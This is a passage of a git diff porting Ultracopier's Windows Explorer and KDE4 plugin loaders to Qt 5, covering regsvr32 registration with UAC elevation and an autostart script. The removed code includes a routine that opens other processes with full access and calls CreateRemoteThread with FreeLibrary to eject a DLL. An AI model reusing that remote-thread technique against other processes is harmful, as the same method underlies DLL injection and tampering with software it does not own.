- optionsWidget.setAllDllIsImportant(allDllIsImportant);
- optionsWidget.setDebug(Debug);
- }
-}
+ if(dllChecked)
+ {
+ if(importantDll.size()>0 || secondDll.size()>0)
+ return true;
+ else
+ return false;
+ }
+ dllChecked=true;
-bool PluginLoader::RegisterShellExtDll(QString dllPath, bool bRegister,bool quiet)
-{
- if(Debug)
- {
- QString message;
- if(bRegister)
- message+=QString("Try load the dll: %1, and ").arg(dllPath);
- else
- message+=QString("Try unload the dll: %1, and ").arg(dllPath);
- if(quiet)
- message+=QString("don't open the UAC");
- else
- message+=QString("open the UAC if needed");
- QMessageBox::information(NULL,"Debug",message);
- }
- ////////////////////////////// First way to load //////////////////////////////
-
- wchar_t arrayArg[65535];
- int size_lenght;
- // first try - load dll and register it manually.
- HRESULT hResult = S_OK;
- // if failed - try by loading extension manually (would fail on vista when running as user)
- hResult = CoInitializeEx(NULL, COINIT_MULTITHREADED);
- if(SUCCEEDED(hResult))
- {
- HRESULT (STDAPICALLTYPE *pfn)(void);
- size_lenght=dllPath.toWCharArray(arrayArg);
- HINSTANCE hMod = LoadLibrary(arrayArg); // load the dll
- if(hMod == NULL)
- hResult = HRESULT_FROM_WIN32(GetLastError());
- if(SUCCEEDED(hResult) && !hMod)
- hResult = E_FAIL;
- if(SUCCEEDED(hResult))
- {
- (FARPROC&)pfn = GetProcAddress(hMod, (bRegister ? "DllRegisterServer" : "DllUnregisterServer"));
- if(pfn == NULL)
- hResult = E_FAIL;
- if(SUCCEEDED(hResult))
- hResult = (*pfn)();
-
- CoFreeLibrary(hMod);
- }
- CoUninitialize();
- if(SUCCEEDED(hResult) && SCODE_CODE(hResult) != ERROR_ACCESS_DENIED)
- return true;
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("fail by LoadLibrary: %1, error code: %2").arg(dllPath).arg((quint32)hResult));
- }
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("fail by CoInitializeEx: %1, error code: %2").arg(dllPath).arg((quint32)hResult));
-
- ////////////////////////////// Second way to load //////////////////////////////
- QStringList arguments;
- if(!Debug)
- arguments.append("/s");
- if(!bRegister)
- arguments.append("/u");
- arguments.append(dllPath);
- QString argumentsString;
- for (int i = 0; i < arguments.size(); ++i) {
- if(argumentsString.isEmpty())
- argumentsString+=arguments.at(i);
- else
- if(i == arguments.size())
- argumentsString+=" \""+arguments.at(i)+"\"";
- else
- argumentsString+=' '+arguments.at(i);
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start: regsvr32 "+argumentsString);
- int result=QProcess::execute("regsvr32",arguments);
- bool ok=false;
- if(result==0)
- ok=true;
- #if ! defined(_M_X64)
- if(result==999 && !changeOfArchDetected)//code of wrong arch for the dll
- {
- changeOfArchDetected=true;
- QStringList temp;
- temp = importantDll;
- secondDll = importantDll;
- importantDll = temp;
- return false;
- }
- #endif
- if(result==5)
- {
- if(!quiet || (!bRegister && correctlyLoaded.contains(dllPath)))
- {
- ////////////////////////////// Last way to load //////////////////////////////
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"try it in win32");
- // try with regsvr32, win32 because for admin dialog
+ if(is64Bits)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,"64Bits is important");
+ importantDll << CATCHCOPY_DLL_64;
+ secondDll << CATCHCOPY_DLL_32;
+ }
+ else
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,"32Bits is important");
+ importantDll << CATCHCOPY_DLL_32;
+ secondDll << CATCHCOPY_DLL_64;
+ }
- size_lenght=argumentsString.toWCharArray(arrayArg);
- //size_lenght*sizeof(wchar_t)
- wcscpy(arrayArg+size_lenght*sizeof(wchar_t),TEXT("\0"));
- SHELLEXECUTEINFO sei;
- memset(&sei, 0, sizeof(sei));
- sei.cbSize = sizeof(sei);
- sei.fMask = SEE_MASK_UNICODE;
- sei.lpVerb = TEXT("runas");
- sei.lpFile = TEXT("regsvr32.exe");
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"in win32 mode: arrayArg: "+QString::fromWCharArray(arrayArg,size_lenght));
- sei.lpParameters = arrayArg;
- sei.nShow = SW_SHOW;
- ok=ShellExecuteEx(&sei);
- }
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"not try because need be quiet: "+dllPath);
- }
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("regsvr32 terminated with: %1").arg(result));
- correctlyLoaded.remove(dllPath);
- if(!bRegister)
- HardUnloadDLL(dllPath);
- return ok;
+ int index=0;
+ while(index<importantDll.size())
+ {
+ if(!QFile::exists(pluginPath+importantDll.at(index)+NORMAL_EXT))
+ {
+ if(!QFile::exists(pluginPath+importantDll.at(index)+SECOND_EXT))
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("file not found, drop to the list: %1 and %2").arg(pluginPath+importantDll.at(index)+NORMAL_EXT).arg(pluginPath+importantDll.at(index)+SECOND_EXT));
+ importantDll.removeAt(index);
+ index--;
+ }
+ else
+ importantDll[index]+=SECOND_EXT;
+ }
+ else
+ importantDll[index]+=NORMAL_EXT;
+ index++;
+ }
+ index=0;
+ while(index<secondDll.size())
+ {
+ if(!QFile::exists(pluginPath+secondDll.at(index)+NORMAL_EXT))
+ {
+ if(!QFile::exists(pluginPath+secondDll.at(index)+SECOND_EXT))
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("file not found, drop to the list: %1 and %2").arg(pluginPath+secondDll.at(index)+NORMAL_EXT).arg(pluginPath+secondDll.at(index)+SECOND_EXT));
+ secondDll.removeAt(index);
+ index--;
+ }
+ else
+ secondDll[index]+=SECOND_EXT;
+ }
+ else
+ secondDll[index]+=NORMAL_EXT;
+ index++;
+ }
+ if(importantDll.size()>0 || secondDll.size()>0)
+ return true;
+ else
+ return false;
}
-Q_EXPORT_PLUGIN2(pluginLoader, PluginLoader);
-
-bool WINAPI PluginLoader::DLLEjecteurW(DWORD dwPid,PWSTR szDLLPath)
+void WindowsExplorerLoader::setResources(OptionInterface * options,const QString &writePath,const QString &pluginPath,const bool &portableVersion)
{
- /* Search address of module */
- MODULEENTRY32W meModule;
- meModule.dwSize = sizeof(meModule);
- HANDLE hSnapshot = NULL;
-
- hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwPid);
- if(hSnapshot == NULL)
- return false;
-
- /* Search the right modules of the process */
- Module32FirstW(hSnapshot, &meModule);
- do{
- if((lstrcmpiW(meModule.szModule,szDLLPath) == 0) || (lstrcmpiW(meModule.szExePath,szDLLPath) == 0))break;
- }while(Module32NextW(hSnapshot, &meModule));
-
- /* Get handle of the process */
- HANDLE hProcess;
-
- hProcess = OpenProcess(PROCESS_ALL_ACCESS, false,dwPid);
- if(hProcess == NULL)
- {
- CloseHandle(hSnapshot);
- return false;
- }
-
- LPTHREAD_START_ROUTINE lpthThreadFunction;
- /* Get addresse of FreeLibrary in kernel32.dll */
- lpthThreadFunction = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "FreeLibrary");
- if(lpthThreadFunction == NULL)
- {
- CloseHandle(hProcess);
- CloseHandle(hSnapshot);
- return false;
- }
-
- /* Creation the remote thread */
- DWORD dwThreadID = 0;
- HANDLE hThread = NULL;
- hThread = CreateRemoteThread(hProcess, NULL, 0, lpthThreadFunction,meModule.modBaseAddr, 0, &dwThreadID);
- if(hThread == NULL)
- {
- CloseHandle(hSnapshot);
- CloseHandle(hProcess);
- return false;
- }
-
- WaitForSingleObject(hThread,INFINITE);
-
- CloseHandle(hProcess);
- CloseHandle(hThread);
-
- return true;
+ Q_UNUSED(options);
+ Q_UNUSED(writePath);
+ Q_UNUSED(pluginPath);
+ Q_UNUSED(portableVersion);
+ #ifdef ULTRACOPIER_PLUGIN_ALL_IN_ONE
+ this->pluginPath=QCoreApplication::applicationDirPath()+"/";
+ #else
+ this->pluginPath=pluginPath;
+ #endif
+ this->optionsEngine=options;
+ if(optionsEngine!=NULL)
+ {
+ QList<QPair<QString, QVariant> > KeysList;
+ KeysList.append(qMakePair(QStringLiteral("allDllIsImportant"),QVariant(false)));
+ KeysList.append(qMakePair(QStringLiteral("Debug"),QVariant(false)));
+ optionsEngine->addOptionGroup(KeysList);
+ allDllIsImportant=optionsEngine->getOptionValue("allDllIsImportant").toBool();
+ Debug=optionsEngine->getOptionValue("Debug").toBool();
+ optionsWidget->setAllDllIsImportant(allDllIsImportant);
+ optionsWidget->setDebug(Debug);
+ }
}
-void PluginLoader::HardUnloadDLL(QString myDllName)
+bool WindowsExplorerLoader::RegisterShellExtDll(const QString &dllPath, const bool &bRegister,const bool &quiet)
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start: "+myDllName);
- HANDLE hSnapShot1;
- PROCESSENTRY32 uProcess;
- HANDLE hSnapShot2;
- MODULEENTRY32 me32;
- QString DllLoaded = "";
- QString DllLoadedName = "";
- QString DllLoadedPath = "";
- bool bResult;
- bool r;
- short NbProcess;
- NbProcess=0;
-
- hSnapShot1 = CreateToolhelp32Snapshot(TH32CS_SNAPALL,0);
-
- uProcess.dwSize = (DWORD) sizeof(PROCESSENTRY32);
-
- r = Process32First(hSnapShot1, &uProcess);
+ if(Debug)
+ {
+ QString message;
+ if(bRegister)
+ message+=QStringLiteral("Try load the dll: %1, and ").arg(dllPath);
+ else
+ message+=QStringLiteral("Try unload the dll: %1, and ").arg(dllPath);
+ if(quiet)
+ message+=QStringLiteral("don't open the UAC");
+ else
+ message+=QStringLiteral("open the UAC if needed");
+ QMessageBox::information(NULL,"Debug",message);
+ }
+ if(bRegister && correctlyLoaded.contains(dllPath))
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("Try dual load: %1").arg(dllPath));
+ return false;
+ }
+ ////////////////////////////// First way to load //////////////////////////////
+ QStringList arguments;
+ if(!Debug)
+ arguments.append("/s");
+ if(!bRegister)
+ arguments.append("/u");
+ arguments.append(dllPath);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start: regsvr32 "+arguments.join(" "));
+ int result;
+ #ifdef Q_OS_WIN32
+ QProcess process;
+ process.start("regsvr32",arguments);
+ if(!process.waitForStarted())
+ result=985;
+ else if(!process.waitForFinished())
+ result=984;
+ else
+ {
+ result=process.exitCode();
+ QString out=QString::fromLocal8Bit(process.readAllStandardOutput());
+ QString outError=QString::fromLocal8Bit(process.readAllStandardError());
+ if(!out.isEmpty())
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"regsvr32 output: "+out);
+ if(!outError.isEmpty())
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"regsvr32 error output: "+outError);
+ }
+ #else
+ result=0;
+ #endif
+ bool ok=false;
+ if(result==0)
+ {
+ if(bRegister)
+ correctlyLoaded << dllPath;
+ ok=true;
+ }
+ #if ! defined(_M_X64)
+ if(result==999 && !changeOfArchDetected)//code of wrong arch for the dll
+ {
+ changeOfArchDetected=true;
+ QStringList temp;
+ temp = importantDll;
+ secondDll = importantDll;
+ importantDll = temp;
+ return false;
+ }
+ #endif
+ if(result==5)
+ {
+ if(!quiet || (!bRegister && correctlyLoaded.contains(dllPath)))
+ {
+ arguments.last()=QStringLiteral("\"%1\"").arg(arguments.last());
+ ////////////////////////////// Last way to load //////////////////////////////
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"try it in win32");
+ // try with regsvr32, win32 because for admin dialog
- while ( r )
- {
- r = Process32Next(hSnapShot1, &uProcess);
- QString myProcessName;
- myProcessName=QString::fromWCharArray(uProcess.szExeFile);
- if (uProcess.th32ProcessID < 99999)
- {
- hSnapShot2 = CreateToolhelp32Snapshot( TH32CS_SNAPMODULE, uProcess.th32ProcessID );
- if (hSnapShot2 != INVALID_HANDLE_VALUE)
- {
- me32.dwSize = sizeof(me32);
- bResult = Module32First( hSnapShot2, &me32 );
- while( bResult )
- {
- DllLoaded=QString::fromWCharArray(me32.szExePath);
- DllLoadedName=QString::fromWCharArray(me32.szModule);
- if (DllLoaded == myDllName)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"The path: "+DllLoaded);
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,myProcessName+" ("+QString::number(uProcess.th32ProcessID)+")");
- DLLEjecteurW(uProcess.th32ProcessID,me32.szExePath);
- }
- bResult = Module32Next( hSnapShot2, &me32 );
- }
- }
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"(int)hSnapShot2 != -1 for "+myProcessName+" ("+QString::number(uProcess.th32ProcessID)+")");
- if(hSnapShot2)
- CloseHandle(hSnapShot2);
- }
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"uProcess.th32ProcessID > 99999 for "+myProcessName+" ("+QString::number(uProcess.th32ProcessID)+")");
- }
- CloseHandle(hSnapShot1);
+ #ifdef Q_OS_WIN32
+ wchar_t arrayArg[65535];
+ int size_lenght=arguments.join(" ").toWCharArray(arrayArg);
+ //size_lenght*sizeof(wchar_t)
+ wcscpy(arrayArg+size_lenght*sizeof(wchar_t),TEXT("\0"));
+ SHELLEXECUTEINFO sei;
+ memset(&sei, 0, sizeof(sei));
+ sei.cbSize = sizeof(sei);
+ sei.fMask = SEE_MASK_UNICODE;
+ sei.lpVerb = TEXT("runas");
+ sei.lpFile = TEXT("regsvr32.exe");
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"in win32 mode: arrayArg: "+QString::fromWCharArray(arrayArg,size_lenght));
+ sei.lpParameters = arrayArg;
+ sei.nShow = SW_SHOW;
+ ok=ShellExecuteEx(&sei);
+ #else
+ ok=true;
+ #endif
+ if(ok && bRegister)
+ correctlyLoaded << dllPath;
+ }
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"not try because need be quiet: "+dllPath);
+ }
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("regsvr32 terminated with: %1").arg(result));
+ if(!bRegister)
+ correctlyLoaded.remove(dllPath);
+ return ok;
}
/// \brief to get the options widget, NULL if not have
-QWidget * PluginLoader::options()
+QWidget * WindowsExplorerLoader::options()
{
- return &optionsWidget;
+ return optionsWidget;
}
-void PluginLoader::newLanguageLoaded()
+void WindowsExplorerLoader::newLanguageLoaded()
{
- optionsWidget.retranslate();
+ optionsWidget->retranslate();
}
-void PluginLoader::setAllDllIsImportant(bool allDllIsImportant)
+void WindowsExplorerLoader::setAllDllIsImportant(bool allDllIsImportant)
{
- this->allDllIsImportant=allDllIsImportant;
- optionsEngine->setOptionValue("allDllIsImportant",allDllIsImportant);
+ this->allDllIsImportant=allDllIsImportant;
+ optionsEngine->setOptionValue("allDllIsImportant",allDllIsImportant);
}
-void PluginLoader::setDebug(bool Debug)
+void WindowsExplorerLoader::setDebug(bool Debug)
{
- this->Debug=Debug;
- optionsEngine->setOptionValue("Debug",Debug);
+ this->Debug=Debug;
+ optionsEngine->setOptionValue("Debug",Debug);
}
diff --git a/plugins/PluginLoader/catchcopy-v0002/pluginLoader.h b/plugins/PluginLoader/catchcopy-v0002/pluginLoader.h
index 79ba305..0246cd1 100755..100644
--- a/plugins/PluginLoader/catchcopy-v0002/pluginLoader.h
+++ b/plugins/PluginLoader/catchcopy-v0002/pluginLoader.h
@@ -1,67 +1,63 @@
/** \file pluginLoader.h
\brief Define the plugin loader
\author alpha_one_x86
-\version 0.3
-\date 2010 */
+\licence GPL3, see the file COPYING */
#ifndef PLUGIN_LOADER_TEST_H
#define PLUGIN_LOADER_TEST_H
#include <QObject>
-#include <QtCore>
#include <QMessageBox>
#include <QString>
#include <QStringList>
#include <QProcess>
#include <QSet>
-#include <windows.h>
-#include <tlhelp32.h>
+#ifdef Q_OS_WIN32
+ #ifndef NOMINMAX
+ #define NOMINMAX
+ #endif
+ #include <windows.h>
+ #include <tlhelp32.h>
+#endif
#include "../../../interface/PluginInterface_PluginLoader.h"
#include "Environment.h"
#include "OptionsWidget.h"
/// \brief \brief Define the plugin loader
-class PluginLoader : public PluginInterface_PluginLoader
+class WindowsExplorerLoader : public PluginInterface_PluginLoader
{
- Q_OBJECT
- Q_INTERFACES(PluginInterface_PluginLoader)
+ Q_OBJECT
+ Q_PLUGIN_METADATA(IID "first-world.info.ultracopier.PluginInterface.PluginLoader/1.0.0.0" FILE "plugin.json")
+ Q_INTERFACES(PluginInterface_PluginLoader)
public:
- PluginLoader();
- ~PluginLoader();
- /// \brief try enable/disable the catching
- void setEnabled(bool);
- /// \brief to set resources, writePath can be empty if read only mode
- void setResources(OptionInterface * options,QString writePath,QString pluginPath,bool portableVersion);
- /// \brief to get the options widget, NULL if not have
- QWidget * options();
+ WindowsExplorerLoader();
+ ~WindowsExplorerLoader();
+ /// \brief try enable/disable the catching
+ void setEnabled(const bool &needBeRegistred);
+ /// \brief to set resources, writePath can be empty if read only mode
+ void setResources(OptionInterface * options,const QString &writePath,const QString &pluginPath,const bool &portableVersion);
+ /// \brief to get the options widget, NULL if not have
+ QWidget * options();
public slots:
- /// \brief to reload the translation, because the new language have been loaded
- void newLanguageLoaded();
+ /// \brief to reload the translation, because the new language have been loaded
+ void newLanguageLoaded();
private:
- QString pluginPath;
- QStringList importantDll,secondDll;
- QSet<QString> correctlyLoaded;
- bool RegisterShellExtDll(QString dllPath, bool bRegister,bool quiet);
- bool checkExistsDll();
- bool dllChecked;
- bool needBeRegistred;
- bool WINAPI DLLEjecteurW(DWORD dwPid,PWSTR szDLLPath);
- void HardUnloadDLL(QString myDllName);
- OptionInterface * optionsEngine;
- OptionsWidget optionsWidget;
- bool allDllIsImportant,Debug;
- bool changeOfArchDetected,is64Bits;
-signals:
- void newState(CatchState);
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- /// \brief To debug source
- void debugInformation(DebugLevel level,QString fonction,QString text,QString file,int ligne);
- #endif
+ QString pluginPath;
+ QStringList importantDll,secondDll;
+ QSet<QString> correctlyLoaded;
+ bool RegisterShellExtDll(const QString &dllPath, const bool &bRegister,const bool &quiet);
+ bool checkExistsDll();
+ bool dllChecked;
+ bool needBeRegistred;
+ OptionInterface * optionsEngine;
+ OptionsWidget *optionsWidget;
+ bool allDllIsImportant,Debug;
+ bool changeOfArchDetected,is64Bits;
private slots:
- void setAllDllIsImportant(bool allDllIsImportant);
- void setDebug(bool Debug);
+ void setAllDllIsImportant(bool allDllIsImportant);
+ void setDebug(bool Debug);
};
#endif // PLUGIN_LOADER_TEST_H
diff --git a/plugins/PluginLoader/catchcopy-v0002/pluginLoader.pro b/plugins/PluginLoader/catchcopy-v0002/pluginLoader.pro
index f383793..0d11721 100755..100644
--- a/plugins/PluginLoader/catchcopy-v0002/pluginLoader.pro
+++ b/plugins/PluginLoader/catchcopy-v0002/pluginLoader.pro
@@ -1,3 +1,8 @@
+CONFIG += c++11
+QMAKE_CXXFLAGS+="-std=c++0x -Wall -Wextra"
+mac:QMAKE_CXXFLAGS+="-stdlib=libc++"
+
+QT += widgets
TEMPLATE = lib
CONFIG += plugin
HEADERS = \
@@ -13,27 +18,33 @@ SOURCES = \
pluginLoader.cpp \
OptionsWidget.cpp
TARGET = $$qtLibraryTarget(pluginLoader)
-TRANSLATIONS += Languages/fr/translation.ts \
- Languages/ar/translation.ts \
- Languages/zh/translation.ts \
- Languages/es/translation.ts \
+TRANSLATIONS += Languages/ar/translation.ts \
Languages/de/translation.ts \
Languages/el/translation.ts \
+ Languages/en/translation.ts \
+ Languages/es/translation.ts \
+ Languages/fr/translation.ts \
+ Languages/hi/translation.ts \
+ Languages/hu/translation.ts \
+ Languages/id/translation.ts \
Languages/it/translation.ts \
Languages/ja/translation.ts \
- Languages/id/translation.ts \
- Languages/pl/translation.ts \
- Languages/ru/translation.ts \
- Languages/tr/translation.ts \
- Languages/th/translation.ts \
- Languages/hi/translation.ts \
+ Languages/ko/translation.ts \
Languages/nl/translation.ts \
Languages/no/translation.ts \
+ Languages/pl/translation.ts \
Languages/pt/translation.ts \
- Languages/ko/translation.ts
+ Languages/ru/translation.ts \
+ Languages/th/translation.ts \
+ Languages/tr/translation.ts \
+ Languages/zh/translation.ts
-LIBS += -lole32
+win32:LIBS += -lole32 -lshell32
FORMS += \
OptionsWidget.ui
+CONFIG(static, static|shared) {
+DEFINES += ULTRACOPIER_PLUGIN_ALL_IN_ONE
+}
+
diff --git a/plugins/SessionLoader/KDE4/DebugEngineMacro.h b/plugins/SessionLoader/KDE4/DebugEngineMacro.h
index a3dd648..4582010 100644
--- a/plugins/SessionLoader/KDE4/DebugEngineMacro.h
+++ b/plugins/SessionLoader/KDE4/DebugEngineMacro.h
@@ -1,12 +1,15 @@
/** \file DebugEngineMacro.h
\brief Define the macro for the debug
\author alpha_one_x86
-\version 0.3
-\date 2010 */
+\licence GPL3, see the file COPYING */
#ifndef DEBUGENGINEMACRO_H
#define DEBUGENGINEMACRO_H
+#ifdef WIN32
+# define __func__ __FUNCTION__
+#endif
+
/// \brief Macro for the debug log
#ifdef ULTRACOPIER_PLUGIN_DEBUG
#if defined (__FILE__) && defined (__LINE__)
diff --git a/plugins/SessionLoader/KDE4/Environment.h b/plugins/SessionLoader/KDE4/Environment.h
index 94fd104..265a5a6 100644
--- a/plugins/SessionLoader/KDE4/Environment.h
+++ b/plugins/SessionLoader/KDE4/Environment.h
@@ -1,8 +1,7 @@
/** \file Environment.h
\brief Define the environment variable and global function
\author alpha_one_x86
-\version 0.3
-\date 2010 */
+\licence GPL3, see the file COPYING */
#include "Variable.h"
/// \brief The global include
diff --git a/plugins/SessionLoader/KDE4/Variable.h b/plugins/SessionLoader/KDE4/Variable.h
index 8179c93..963d0c8 100644
--- a/plugins/SessionLoader/KDE4/Variable.h
+++ b/plugins/SessionLoader/KDE4/Variable.h
@@ -1,8 +1,7 @@
/** \file Variable.h
\brief Define the environment variable
\author alpha_one_x86
-\version 0.3
-\date 2010 */
+\licence GPL3, see the file COPYING */
#ifndef VARIABLE_H
#define VARIABLE_H
diff --git a/plugins/SessionLoader/KDE4/documentation.dox b/plugins/SessionLoader/KDE4/documentation.dox
index fbf0eb4..98ed23f 100755..100644
--- a/plugins/SessionLoader/KDE4/documentation.dox
+++ b/plugins/SessionLoader/KDE4/documentation.dox
@@ -11,12 +11,12 @@
\section mainpage_overview Overview
It control if it loaded with the session.\n
- More informations on <a href="http://ultracopier-wiki.first-world.info/">the wiki of ultracopier</a>. Is part of Ultracopier 0.3 project.
+ More informations on <a href="http://ultracopier-wiki.first-world.info/">the wiki of ultracopier</a>.
\section mainpage_platforms Platforms
- This plugin might be usable in all environments where you find Qt 4.\n
- To be compatible with the official Ultracopier plugins, you need compil it with Gcc, Qt4.8, and same env as Ultracopier have been compiled, see the documentation.
+ Ultracopier might be usable in all environments where you find Qt 5.\n
+ Ultracopier requires Qt 5.0 or newer. Tested on Qt 5.0.
\section mainpage_downloads Downloads
diff --git a/plugins/SessionLoader/KDE4/informations.xml b/plugins/SessionLoader/KDE4/informations.xml
index cdc5150..2178b0e 100644
--- a/plugins/SessionLoader/KDE4/informations.xml
+++ b/plugins/SessionLoader/KDE4/informations.xml
@@ -17,11 +17,10 @@
<description xml:lang="en"><![CDATA[Test plugin to show how create SessionLoader plugin]]></description>
<description xml:lang="fr"><![CDATA[Plugin de test pour monter comment créer un plugin SessionLoader]]></description>
<!-- Version of this release of this plugin, need be like that's: A.B.C.D, where A, B, C and D is number -->
- <version>0.3.1.0</version>
+ <version>1.2.3.6</version>
<!-- This internal name should never change, because it is used to detect when a particular plugin is updated. It must comprise only lower case ASCII characters (a-z), numerical digits (0-9), "-", "." or "_", and it must be be unique within the category. And have size lower than 64 char. -->
<name>KDE4</name>
<!-- Dependency checking. This is used to check when a plugin may not be compatible with an updated version of either Ultracopier or another plugin. This example only checks Ultracopier. -->
<dependencies><![CDATA[
- >=ultracopier-0.3.1.0
]]></dependencies>
</package> \ No newline at end of file
diff --git a/plugins/SessionLoader/KDE4/plugin.json b/plugins/SessionLoader/KDE4/plugin.json
new file mode 100644
index 0000000..9e26dfe
--- /dev/null
+++ b/plugins/SessionLoader/KDE4/plugin.json
@@ -0,0 +1 @@
+{} \ No newline at end of file
diff --git a/plugins/SessionLoader/KDE4/sessionLoader.cpp b/plugins/SessionLoader/KDE4/sessionLoader.cpp
index 28bdc59..8024264 100644
--- a/plugins/SessionLoader/KDE4/sessionLoader.cpp
+++ b/plugins/SessionLoader/KDE4/sessionLoader.cpp
@@ -1,62 +1,58 @@
/** \file session-loader.cpp
\brief Define the session plugin loader test
\author alpha_one_x86
-\version 0.3
-\date 2010 */
+*/
-#include <QtCore>
#include <QFile>
#include <QDir>
+#include <QCoreApplication>
#include "sessionLoader.h"
-void SessionLoader::setEnabled(bool newValue)
+void KDESessionLoader::setEnabled(const bool &enabled)
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start, newValue: "+QString::number(newValue));
- QFile link(QDir::homePath()+"/.kde4/Autostart/ultracopier.sh");
- if(!newValue)
- {
- if(link.exists() && !link.remove())
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to remove from the startup: "+link.errorString());
- }
- else
- {
- if(link.open(QIODevice::WriteOnly))
- {
- link.write(QString("#!/bin/bash\n").toLocal8Bit());
- link.write(QString(QCoreApplication::applicationFilePath()).toLocal8Bit());
- link.close();
- if(!link.setPermissions(QFile::ExeOwner|QFile::WriteOwner|QFile::ReadOwner))
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to set permissions: "+link.errorString());
- }
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to open in writing the file: "+link.errorString());
- }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start, enabled: "+QString::number(enabled));
+ QFile link(QDir::homePath()+"/.kde4/Autostart/ultracopier.sh");
+ if(!enabled)
+ {
+ if(link.exists() && !link.remove())
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to remove from the startup: "+link.errorString());
+ }
+ else
+ {
+ if(link.open(QIODevice::WriteOnly))
+ {
+ link.write(QStringLiteral("#!/bin/bash\n").toLocal8Bit());
+ link.write(QString(QCoreApplication::applicationFilePath()).toLocal8Bit());
+ link.close();
+ if(!link.setPermissions(QFile::ExeOwner|QFile::WriteOwner|QFile::ReadOwner))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to set permissions: "+link.errorString());
+ }
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to open in writing the file: "+link.errorString());
+ }
}
-bool SessionLoader::getEnabled()
+bool KDESessionLoader::getEnabled() const
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start, return this value: "+QString::number(QFile::exists(QDir::homePath()+"/.kde4/Autostart/ultracopier.sh")));
- //return the value into the variable
- return QFile::exists(QDir::homePath()+"/.kde4/Autostart/ultracopier.sh");
+ //return the value into the variable
+ return QFile::exists(QDir::homePath()+"/.kde4/Autostart/ultracopier.sh");
}
-void SessionLoader::setResources(OptionInterface * options,QString writePath,QString pluginPath,bool portableVersion)
+void KDESessionLoader::setResources(OptionInterface * options,const QString &writePath,const QString &pluginPath,const bool &portableVersion)
{
- Q_UNUSED(options);
- Q_UNUSED(writePath);
- Q_UNUSED(pluginPath);
- Q_UNUSED(portableVersion);
+ Q_UNUSED(options);
+ Q_UNUSED(writePath);
+ Q_UNUSED(pluginPath);
+ Q_UNUSED(portableVersion);
}
/// \brief to get the options widget, NULL if not have
-QWidget * SessionLoader::options()
+QWidget * KDESessionLoader::options()
{
- return NULL;
+ return NULL;
}
/// \brief to reload the translation, because the new language have been loaded
-void SessionLoader::newLanguageLoaded()
+void KDESessionLoader::newLanguageLoaded()
{
}
-
-Q_EXPORT_PLUGIN2(sessionLoader, SessionLoader);
diff --git a/plugins/SessionLoader/KDE4/sessionLoader.h b/plugins/SessionLoader/KDE4/sessionLoader.h
index 41c4204..b037da7 100644
--- a/plugins/SessionLoader/KDE4/sessionLoader.h
+++ b/plugins/SessionLoader/KDE4/sessionLoader.h
@@ -1,8 +1,7 @@
/** \file sessionLoader.h
\brief Define the session loader
\author alpha_one_x86
-\version 0.3
-\date 2010 */
+\licence GPL3, see the file COPYING */
#ifndef SESSION_LOADER_PLUGIN_H
#define SESSION_LOADER_PLUGIN_H
@@ -12,27 +11,23 @@
#include "../../../interface/PluginInterface_SessionLoader.h"
/// \brief Define the session loader
-class SessionLoader : public PluginInterface_SessionLoader
+class KDESessionLoader : public PluginInterface_SessionLoader
{
- Q_OBJECT
- Q_INTERFACES(PluginInterface_SessionLoader)
+ Q_OBJECT
+ Q_PLUGIN_METADATA(IID "first-world.info.ultracopier.PluginInterface.SessionLoader/1.0.0.0" FILE "plugin.json")
+ Q_INTERFACES(PluginInterface_SessionLoader)
public:
- /// \brief to set if it's enabled or not
- void setEnabled(bool);
- /// \brief to get if is enabled
- bool getEnabled();
- /// \brief set the resources for the plugins
- void setResources(OptionInterface * options,QString writePath,QString pluginPath,bool portableVersion);
- /// \brief to get the options widget, NULL if not have
- QWidget * options();
+ /// \brief to set if it's enabled or not
+ void setEnabled(const bool &enabled);
+ /// \brief to get if is enabled
+ bool getEnabled() const;
+ /// \brief set the resources for the plugins
